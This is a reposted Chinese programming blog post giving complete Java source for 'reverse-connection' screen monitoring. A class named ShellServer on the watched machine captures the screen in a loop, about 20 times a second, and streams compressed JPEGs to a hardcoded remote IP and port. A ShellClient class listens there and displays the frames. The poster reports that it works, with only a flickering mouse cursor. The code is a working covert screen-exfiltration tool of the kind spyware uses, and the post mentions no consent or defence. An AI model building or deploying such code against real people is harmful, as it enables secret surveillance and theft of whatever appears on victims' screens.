`
yanwei11911011
  • 浏览: 16337 次
  • 性别: Icon_minigender_1
  • 来自: 天津
社区版块
存档分类

JAVA用TCP实现反向连接屏幕监视(转)

    博客分类:
  • java
 
阅读更多
本文转摘自http://www.yuanma.org/data/2006/1222/article_1989.htm

通过自己试验成功,只是被监控端会出现鼠标不停闪动的现象。

import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
/**
 *
 * @author Admin
 */
public class ShellServer extends Thread{
    private Dimension screenSize;
    private Rectangle rectangle;
    private Robot robot;
    private JPEGImageEncoder encoder;

    public ShellServer() {
        screenSize = Toolkit.getDefaultToolkit().getScreenSize();
        rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域
        try{
            robot = new Robot();
        }catch(Exception e){
            e.printStackTrace();
            System.out.println(e);
        }
    }

    public void run(){
        ZipOutputStream os = null;
        Socket socket=null;
        while (true){
            try{
                socket = new Socket("10.0.0.59",5000);//连接远程IP
                BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域
                os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
                //os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));

                os.setLevel(9);
                os.putNextEntry(new ZipEntry("1.jpg"));
                JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG
                os.close();
                Thread.sleep(50);//每秒20帧
            }catch(Exception e){
                e.printStackTrace();
            }finally{
                if(os!=null){
                    try{
                        os.close();
                    }catch(Exception ioe){}
                }
                if(socket!=null){
                    try {
                        socket.close();
                    } catch (IOException e) {
                    }
                }
            }
        }
    }
/*
    public static void main(String[] args) {
        new ShellServer().start();
    }
*/
}

//以下这个为客户端类 监视者

import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;

/**
 *
 * @author Admin
 */
public class ShellClient extends JFrame{
    Dimension screenSize;

    public ShellClient() {
        super();
        screenSize = Toolkit.getDefaultToolkit().getScreenSize();
        this.setSize(800, 640);//设置Frame初始
        Screen p = new Screen();//屏幕类
        Container c = this.getContentPane();
        c.setLayout(new BorderLayout());//布局
        c.add(p,"Center");//添加一个Panel
        new Thread(p).start();//开启线程
        this.show();//显示本Frame
    }
/*
    public static void main(String[] args){
        new ShellClient();
    }
*/

    class Screen extends JPanel implements Runnable{
        private Image cimage;
        public void run(){
            ServerSocket ss=null;
            try{
                ss=new ServerSocket(5000);//探听5000端口的连接
                while(true){
                    Socket s=null;
                    try{
                        s=ss.accept();//获取一个SOCKET
                        ZipInputStream  zis=new ZipInputStream(s.getInputStream());
                        zis.getNextEntry();//获得ZIP流的ENTRY
                        cimage = ImageIO.read(zis);//把ZIP流转换为图片
                        //cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
                        repaint();//重画
                    }catch(Exception e){
                        e.printStackTrace();
                    }finally{
                        if(s!=null){
                            try {s.close();} catch (IOException e) {}
                        }
                    }
                }
            }catch(Exception e){}
            finally{
                if(ss!=null){
                    try {ss.close();} catch (IOException e) {}
                }
            }
        }

        public Screen() {
            super();
            this.setLayout(null);
        }

        public void paint(Graphics g){
            super.paint(g);
            Graphics2D g2 = (Graphics2D) g;
            g2.drawImage(cimage, 0, 0, null);
        }
    }

}
分享到:
评论

相关推荐

    ReverseProxy:反向代理TCP + UDP监视器

    反向代理 反向代理TCP + UDP监视器

    TCP-IP技术大全

    本书内容十分丰富,几乎涵盖了有关TCP/IP的各个方面,包括开放式通信模型、TCP/IP通信模型、IP网络中的命名和寻址机制、地址解析及反向地址解析协议、DNS域字服务器、WINS、地址发现协议、IPv6、IP网络中的路由协议...

    TCP/IP教程TCP/IP基础

    15.3 使用HP的IPP实现 151 15.4 小结 152 第16章 LDAP:目录服务 153 16.1 为什么使用目录服务 153 16.2 目录服务的功能 153 16.3 IP上的目录服务 154 16.4 OSI X.500目录模型 156 16.4.1 早期的X.500 157 16.4.2 ...

    TCP/IP技术大全

    26.2.2 使用FTP客户端建立连接 288 26.2.3 FTP安全 296 26.2.4 FTP服务器及守护进程 299 26.2.5 匿名FTP访问 299 26.3 使用TFTP 300 26.3.1 FTP与TFTP的区别 301 26.3.2 TFTP命令 301 26.4 小结 301 第27章 使用...

    TCP/IP技术大全(中文PDF非扫描版)

    本书内容十分丰富,几乎涵盖了有关TCP/IP的各个方面,包括开放式通信模型、TCP/IP通信模型、IP网络中的命名和寻址机制、地址解析及反向地址解析协议、DNS域字服务器、WINS、地址发现协议、IPv6、IP网络中的路由协议...

    TCP/IP详解

    15.3 使用HP的IPP实现 151 15.4 小结 152 第16章 LDAP:目录服务 153 16.1 为什么使用目录服务 153 16.2 目录服务的功能 153 16.3 IP上的目录服务 154 16.4 OSI X.500目录模型 156 16.4.1 早期的X.500 157 16.4.2 ...

    计算机&软件工程&人工智能研究生复试资料整理

    - **锁和监视器的区别**:锁更通用,监视器是锁的一种具体实现。 25. **Java中构造函数的概念**: - **构造函数**:用于创建和初始化新对象。 - **构造函数重载**:同一类中可以有多个构造函数。 - **复制构造...

    TCPIP协议详解(4-1)

    分了四个包 目 录 译者序 前言 第一部分 TCP/IP基础 第1章 开放式通信模型简介 1 1.1 开放式网络的发展 1 1.1.1 通信处理层次化 2 1.1.2 OSI参考模型 3 1.1.3 模型的使用 5 1.2 TCP/...

    上海Linux运维工程师-面试题-个人总结).pdf

    9. **DNS解析**:DNS使用53号端口,TCP/UDP协议。正向解析将域名转换为IP地址,反向解析则相反。它们应用于网络通信中查找对应服务器,提高网络效率。 10. **iptables NAT设置**:使用iptables的SNAT规则,将内网IP...

    ORACLE9i_优化设计与系统调整

    §13.2.4 使用反向键索引- 166 §13.2.5 使用索引组织表 166 §13.3 使用范围索引 166 §13.4 使用簇 - 167 §13.5 使用Hash 簇 - 168 §13.5.1 何时创建Hash 簇 168 §13.5.2 创建Hash 簇 168 §13.6 使用实体视图 ...

Global site tag (gtag.js) - Google Analytics